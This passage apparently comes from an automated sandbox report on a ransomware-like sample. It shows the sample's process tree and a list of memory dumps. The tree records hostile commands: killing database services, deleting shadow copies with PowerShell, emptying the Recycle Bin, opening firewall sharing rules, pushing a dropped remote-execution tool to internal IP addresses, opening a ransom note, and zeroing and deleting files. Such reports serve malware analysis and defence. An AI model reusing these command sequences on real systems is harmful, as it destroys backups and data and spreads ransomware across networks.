                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM sqlagent.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:2684
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM mysqld-nt.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:1972
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM sqlbrowser.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:2876
                                                          • C:\Windows\system32\taskkill.exe
                                                            "taskkill.exe" /IM sqlservr.exe /F
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:4872
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                                                            3⤵
                                                            • Drops file in System32 directory
                                                            • Modifies data under HKEY_USERS
                                                            PID:3208
                                                          • C:\Windows\system32\cmd.exe
                                                            "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                                                            3⤵
                                                              PID:1204
                                                            • C:\Windows\system32\netsh.exe
                                                              "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                                              3⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:3536
                                                            • C:\Windows\system32\netsh.exe
                                                              "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                                              3⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:2848
                                                            • C:\Windows\system32\arp.exe
                                                              "arp" -a
                                                              3⤵
                                                                PID:4296
                                                              • C:\Windows\TEMP\b2vg33sa.exe
                                                                "C:\Windows\TEMP\b2vg33sa.exe" \\10.10.0.34 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Modifies data under HKEY_USERS
                                                                PID:4544
                                                              • C:\Windows\TEMP\b2vg33sa.exe
                                                                "C:\Windows\TEMP\b2vg33sa.exe" \\10.10.0.26 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                                                3⤵
                                                                • Executes dropped EXE
                                                                PID:5036
                                                              • C:\Windows\TEMP\b2vg33sa.exe
                                                                "C:\Windows\TEMP\b2vg33sa.exe" \\10.10.0.29 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Modifies data under HKEY_USERS
                                                                PID:4372
                                                              • C:\Windows\TEMP\b2vg33sa.exe
                                                                "C:\Windows\TEMP\b2vg33sa.exe" \\10.10.0.32 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Modifies data under HKEY_USERS
                                                                PID:3236
                                                              • C:\Windows\System32\mshta.exe
                                                                "C:\Windows\System32\mshta.exe" \RESTORE_FILES_INFO.hta
                                                                3⤵
                                                                • Modifies data under HKEY_USERS
                                                                PID:4300
                                                              • C:\Windows\system32\cmd.exe
                                                                "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                                                                3⤵
                                                                  PID:3924
                                                                  • C:\Windows\system32\PING.EXE
                                                                    ping 127.0.0.7 -n 3
                                                                    4⤵
                                                                    • Runs ping.exe
                                                                    PID:1840
                                                                  • C:\Windows\system32\fsutil.exe
                                                                    fsutil file setZeroData offset=0 length=524288 “%s”
                                                                    4⤵
                                                                    • Drops file in System32 directory
                                                                    PID:1012
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Svchost.exe
                                                                  3⤵
                                                                    PID:3012
                                                                    • C:\Windows\system32\choice.exe
                                                                      choice /C Y /N /D Y /T 3
                                                                      4⤵
                                                                        PID:1580

                                                                Network

                                                                MITRE ATT&CK Enterprise v6

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • memory/184-214-0x0000000000E89000-0x0000000000F8A000-memory.dmp

                                                                  Filesize

                                                                  1.0MB

                                                                • memory/184-219-0x0000000000F90000-0x0000000000FEC000-memory.dmp

                                                                  Filesize

                                                                  368KB

                                                                • memory/348-243-0x00000227A5F90000-0x00000227A6000000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/348-300-0x00000227A64A0000-0x00000227A6510000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1020-308-0x000002B851640000-0x000002B8516B0000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1020-242-0x000002B851100000-0x000002B851170000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1108-306-0x000001DAA6070000-0x000001DAA60E0000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1108-234-0x000001DAA5910000-0x000001DAA5980000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1228-314-0x00000201DA620000-0x00000201DA690000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1228-262-0x00000201DA510000-0x00000201DA580000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1272-264-0x0000018A9E0C0000-0x0000018A9E130000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1272-316-0x0000018A9E4E0000-0x0000018A9E550000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1388-247-0x000001F84EB20000-0x000001F84EB90000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1388-310-0x000001F84F1B0000-0x000001F84F220000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1864-252-0x0000029DB56B0000-0x0000029DB5720000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/1864-312-0x0000029DB5790000-0x0000029DB5800000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2380-304-0x00000184735B0000-0x0000018473620000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2380-228-0x0000018472F60000-0x0000018472FD0000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2408-302-0x0000017F630E0000-0x0000017F63150000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2408-220-0x0000017F63070000-0x0000017F630E0000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2580-233-0x000001B713E00000-0x000001B713E70000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2580-298-0x000001B7141B0000-0x000001B714220000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2688-320-0x0000018AA5DB0000-0x0000018AA5E20000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2688-268-0x0000018AA5A00000-0x0000018AA5A70000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2696-318-0x000001371A160000-0x000001371A1D0000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2696-266-0x000001371A060000-0x000001371A0D0000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/2984-224-0x00000000073E0000-0x00000000073E1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/2984-238-0x0000000006F30000-0x0000000006F31000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/2984-227-0x0000000006F80000-0x0000000006F81000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/2984-235-0x0000000006EE0000-0x00000000073DE000-memory.dmp

                                                                  Filesize

                                                                  5.0MB

                                                                • memory/2984-271-0x0000000007200000-0x000000000721C000-memory.dmp

                                                                  Filesize

                                                                  112KB

                                                                • memory/2984-213-0x00000000001C0000-0x00000000001C1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/3208-365-0x000001E3577C3000-0x000001E3577C5000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3208-364-0x000001E3577C0000-0x000001E3577C2000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3208-366-0x000001E3577C6000-0x000001E3577C8000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3356-221-0x000001DB7F650000-0x000001DB7F69B000-memory.dmp

                                                                  Filesize

                                                                  300KB

                                                                • memory/3356-226-0x000001DB7F710000-0x000001DB7F780000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/4012-146-0x0000000002590000-0x000000000272C000-memory.dmp

                                                                  Filesize

                                                                  1.6MB

                                                                • memory/4328-272-0x0000000000400000-0x000000000041C000-memory.dmp

                                                                  Filesize

                                                                  112KB

                                                                • memory/4328-279-0x0000000002C20000-0x0000000002C21000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/4328-286-0x0000000005110000-0x0000000005111000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/4328-287-0x00000000053A0000-0x00000000053A1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/4328-288-0x0000000005090000-0x0000000005696000-memory.dmp

                                                                  Filesize

                                                                  6.0MB

                                                                • memory/4328-277-0x00000000056A0000-0x00000000056A1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/4328-282-0x00000000050D0000-0x00000000050D1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/4420-321-0x0000000010000000-0x000000001018A000-memory.dmp

                                                                  Filesize

                                                                  1.5MB

                                                                • memory/4420-296-0x0000000001120000-0x00000000012AA000-memory.dmp

                                                                  Filesize

                                                                  1.5MB

                                                                • memory/4460-176-0x00000000036E0000-0x00000000036F0000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/4460-182-0x0000000003880000-0x0000000003890000-memory.dmp

                                                                  Filesize

                                                                  64KB

                                                                • memory/4460-188-0x0000000004AC0000-0x0000000004AC8000-memory.dmp

                                                                  Filesize

                                                                  32KB

                                                                • memory/4472-270-0x0000019789700000-0x0000019789805000-memory.dmp

                                                                  Filesize

                                                                  1.0MB

                                                                • memory/4472-217-0x0000019786E70000-0x0000019786EE0000-memory.dmp

                                                                  Filesize

                                                                  448KB

                                                                • memory/4484-331-0x000000001B102000-0x000000001B103000-memory.dmp

                                                                  Filesize

                                                                  4KB